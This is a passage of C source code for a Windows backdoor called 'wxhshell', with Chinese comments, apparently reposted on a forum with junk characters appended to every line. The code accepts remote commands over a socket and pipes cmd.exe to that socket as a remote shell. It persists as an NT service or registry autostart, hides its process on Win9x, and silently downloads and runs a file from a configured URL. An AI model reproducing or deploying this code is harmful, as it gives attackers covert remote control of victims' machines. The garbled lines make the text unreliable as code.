]Q)OL  
    switch(cmd[0]) { DsCcK3 k  
  +VOK%8,p  
  // 帮助 BUXpC xQ  
  case '?': { JP [K;/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y}ev ,j  
    break; >U27];}y  
  } R$[vm6T?  
  // 安装 >!1-lfa8  
  case 'i': { vV-`jsq20H  
    if(Install()) w%jII{@,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A#iV=76_  
    else ]jp6k<KF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1K50Z.o&@  
    break; Y&Z.2>b  
    } GH$pKB  
  // 卸载 R8Fv{7]c  
  case 'r': { #?- wm  
    if(Uninstall()) Q sCheHP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B*Dz{a^.:  
    else oQ[f,7u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;+ hH  
    break; v;D~Pa  
    } Y O}<Ytx  
  // 显示 wxhshell 所在路径 /!XVHkX[  
  case 'p': { LBDjIpR6  
    char svExeFile[MAX_PATH]; HvJs1)Wo&  
    strcpy(svExeFile,"\n\r"); _ *Pf  
      strcat(svExeFile,ExeFile); +Q"4Migbe@  
        send(wsh,svExeFile,strlen(svExeFile),0); FP4P|kl/9'  
    break; 5D//*}b,  
    } &Hs!:43E-<  
  // 重启 lZKi'vg7  
  case 'b': { T'Dv.h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a~y'RyA  
    if(Boot(REBOOT)) V/9!K%y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G mA< g  
    else { ee76L&:  
    closesocket(wsh); CryBwm  
    ExitThread(0); LsU9 .  
    } bdE[;+58  
    break; ZyFjFHe+  
    } z1X`o  
  // 关机 <*cikXS  
  case 'd': { LG#t<5y~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {9.|2%a  
    if(Boot(SHUTDOWN)) A#YrWW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hf&9uHN%7m  
    else { f x+/C8GK  
    closesocket(wsh); iSs:oH3l  
    ExitThread(0); ~q25Yx9W@  
    } /R wjCUf  
    break; AFE~ v\Gz  
    } d<P\&!R(  
  // 获取shell hv>\gBe i  
  case 's': { Qj3EXb  
    CmdShell(wsh); mxdr,Idx  
    closesocket(wsh); O)r4?<Q  
    ExitThread(0); =fFP5e ['  
    break; sdw(R#GE  
  } IyG}H}  
  // 退出 > /caXvS  
  case 'x': { )bscBj@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ][Rh28?I{  
    CloseIt(wsh); R~ q]JSIC@  
    break; |Ds1  
    } -m~#Bq  
  // 离开 PALc;"]O  
  case 'q': { oe-\ozJ0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {;6`_-As%  
    closesocket(wsh); &6nWzF  
    WSACleanup(); ~oY^;/ j  
    exit(1); \z(gqkc 6  
    break; ?^\|-Gr  
        } sD#.Oq4&]y  
  } .U]-j\  
  } 49HZ2`Y  
^Xh^xL2cn  
  // 提示信息 -PR N:'T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v mk2{f,g  
} r3UUlR/Do  
  } w ;^ra<*<+  
86F1.ve  
  return; >tW#/\x{  
} sLxc(d'A  
o|["SYIf  
// shell模块句柄 A^<jy=F&  
int CmdShell(SOCKET sock) |aq"#Ml)  
{ JDT`C2-Q  
STARTUPINFO si; HLG"a3tt  
ZeroMemory(&si,sizeof(si)); 61'XgkacDS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r mg}N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7J<5f)  
PROCESS_INFORMATION ProcessInfo; -e:`|(Mo  
char cmdline[]="cmd"; P\k# >}}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &^Q/,H~S  
  return 0; c\AfaK^KF  
} ;u)I\3`*!  
$*fMR,~t&  
// 自身启动模式 SO0PF|{\r  
int StartFromService(void) ;uP:"k  
{ 20Wg=p9L  
typedef struct 7zG_(83)K  
{ [.wYdv35  
  DWORD ExitStatus; xU`p|(SS-  
  DWORD PebBaseAddress; H9e<v4 c  
  DWORD AffinityMask; {R6ZKB  
  DWORD BasePriority; \bw2u!  
  ULONG UniqueProcessId; <7jW _R@  
  ULONG InheritedFromUniqueProcessId; 8bld3p"^  
}   PROCESS_BASIC_INFORMATION; ~b8]H|<'Y  
?$4 PVI}  
PROCNTQSIP NtQueryInformationProcess; 9djk[ttA)  
-(H0>Ap  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %1+4_g9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (SAs-  
Rnq7LGy  
  HANDLE             hProcess; )+9Uoe~6  
  PROCESS_BASIC_INFORMATION pbi; $~T4hv :  
<wD-qTW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [/8%3  
  if(NULL == hInst ) return 0; S30%)<W  
0<@@?G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (n_/`dP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'TB2:W3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _X x/(.O  
:d'8x  
  if (!NtQueryInformationProcess) return 0; wk_@R=*(\  
`VguQl_,gA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b4N[)%@  
  if(!hProcess) return 0; 7B66]3v  
#o#H?Vo9b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ' S/gmn  
fe_5LC"  
  CloseHandle(hProcess); X#^[<5  
Slc\&Eb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G]&qx`TBK  
if(hProcess==NULL) return 0; }Jj}%XxKs  
nAlQ7 '  
HMODULE hMod; KVa  
char procName[255]; |+D!= :x  
unsigned long cbNeeded; KoT%Mfu  
FfT`;j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Wmv#:U  
mQ"-,mMI  
  CloseHandle(hProcess); pOoEI+t  
DZtsy!xA  
if(strstr(procName,"services")) return 1; // 以服务启动 ;Q`lNFa  
dG?*y  
  return 0; // 注册表启动 ]3Sp W{=^(  
} 7WzxA=*#  
5]:U9ts#  
// 主模块 }i&/ G +_  
int StartWxhshell(LPSTR lpCmdLine) JNnDts*w  
{ &mS^ZyG  
  SOCKET wsl; (KZ{^X?a  
BOOL val=TRUE; a/xn'"eli  
  int port=0; Tpa5N'O  
  struct sockaddr_in door; kb!%-k  
5wU]!bxr  
  if(wscfg.ws_autoins) Install(); SNk=b6`9  
) ;Y;Q  
port=atoi(lpCmdLine); iuul7VR-%  
Dk51z@  
if(port<=0) port=wscfg.ws_port; ;L ^o*`  
YKK*ER0  
  WSADATA data; &s!@29DXR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2=!RQv~%  
]\HvKCN}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b4Ekqas  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6[AL|d DK  
  door.sin_family = AF_INET;  6(R<{{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [AJJSd/:  
  door.sin_port = htons(port); nQ3A~ ()  
42ge3>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,64 -1!  
closesocket(wsl); '8kP.l  
return 1; ~6md !o%i  
} )NT*bLRPQ  
(A.C]hD  
  if(listen(wsl,2) == INVALID_SOCKET) { h 'nY3GrU  
closesocket(wsl); EU Fa5C:  
return 1; ]A_`0"m.U  
} j3ls3H&  
  Wxhshell(wsl); 0jWVp- y  
  WSACleanup(); 4E}Yt$|  
2y1Sne=<Kb  
return 0; HTTC TR  
lPAQ3t!,  
} `){.+S(5C  
:\_ 5oVb  
// 以NT服务方式启动 Qn2&nD%zi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) buHJB*?9  
{ $3kH~3{]  
DWORD   status = 0; j.= 1rwPt  
  DWORD   specificError = 0xfffffff; <9b &<K:  
;}p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kD"{g#c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NvX[zqNP_R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n~Lt\K:  
  serviceStatus.dwWin32ExitCode     = 0; )D%~` ,#pQ  
  serviceStatus.dwServiceSpecificExitCode = 0; WUTowr  
  serviceStatus.dwCheckPoint       = 0; z`b,h\  
  serviceStatus.dwWaitHint       = 0; 7F.4Ga;  
% A0/1{(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1Ai^cf:S  
  if (hServiceStatusHandle==0) return; b%c9oR's^  
cso8xq|b7  
status = GetLastError(); tfWS)y7  
  if (status!=NO_ERROR) %\:Wi#w>  
{ .x&%HA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u)Whr@m  
    serviceStatus.dwCheckPoint       = 0; 8H`[*|{'  
    serviceStatus.dwWaitHint       = 0; ]hV*r@d  
    serviceStatus.dwWin32ExitCode     = status; &BSn?  
    serviceStatus.dwServiceSpecificExitCode = specificError; :b!s2n!u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uhq8   
    return; ,<X9Y2B  
  } RPbZ(.  
Rf% a'b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "$vRMpW:  
  serviceStatus.dwCheckPoint       = 0; #T"4RrR  
  serviceStatus.dwWaitHint       = 0; :Llb< MY2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )QJUUn#  
} (**oRwr%  
(^>J&[=  
// 处理NT服务事件,比如:启动、停止 B`sAk %  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?gXp*>Kg[  
{ 1{.9uw"2S  
switch(fdwControl) pTuS*MYz  
{ QTnP'5y  
case SERVICE_CONTROL_STOP: ksm~<;td  
  serviceStatus.dwWin32ExitCode = 0; ,`sv1xwd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I( Mm?9F  
  serviceStatus.dwCheckPoint   = 0; K@%].:  
  serviceStatus.dwWaitHint     = 0; y>ktcuML  
  { )O6>*wq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IAyp2  
  } >@Kx>cg+  
  return; W} ofAkF  
case SERVICE_CONTROL_PAUSE: -tU'yKhn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?&uu[y  
  break; /zox$p$?h  
case SERVICE_CONTROL_CONTINUE: !ubD/KE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lmhLM. 2  
  break; 2 ? 4!K.  
case SERVICE_CONTROL_INTERROGATE: :~SyL!  
  break; J9 I:Q<;  
}; _(zG?]y0P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  WfRXP^a  
} 3iU=c&P  
DW3G  
// 标准应用程序主函数 #s9aI_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <{cQ2  
{ CNx8] _2  
BL4-7  
// 获取操作系统版本 _WbxH  
OsIsNt=GetOsVer(); |V7*l1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (QiAisE  
O.JN ENZf  
  // 从命令行安装 UL9n-M =  
  if(strpbrk(lpCmdLine,"iI")) Install(); %SUQ9\SEs  
bs1Rvx1:J%  
  // 下载执行文件 ;9'OOz|+1  
if(wscfg.ws_downexe) { oD@7 SF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'O-"\J\  
  WinExec(wscfg.ws_filenam,SW_HIDE); ABYcH]m  
} *n"{J(Jt`  
d0 /#nz  
if(!OsIsNt) { ll?X@S  
// 如果时win9x,隐藏进程并且设置为注册表启动 m) D|l1AtF  
HideProc(); |+"(L#wk  
StartWxhshell(lpCmdLine); t3^&; &[  
} <\S:'g"(  
else W!(LF7_!  
  if(StartFromService()) x$(f7?s] 1  
  // 以服务方式启动 e8 b:)"R  
  StartServiceCtrlDispatcher(DispatchTable); Dum9lj  
else P1f[% 1  
  // 普通方式启动 -D~%|).'  
  StartWxhshell(lpCmdLine); |vzl. ^"-  
AT|3:]3E  
return 0; v(%*b,^  
}
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只看该作者 1 发表于: 2006-10-10
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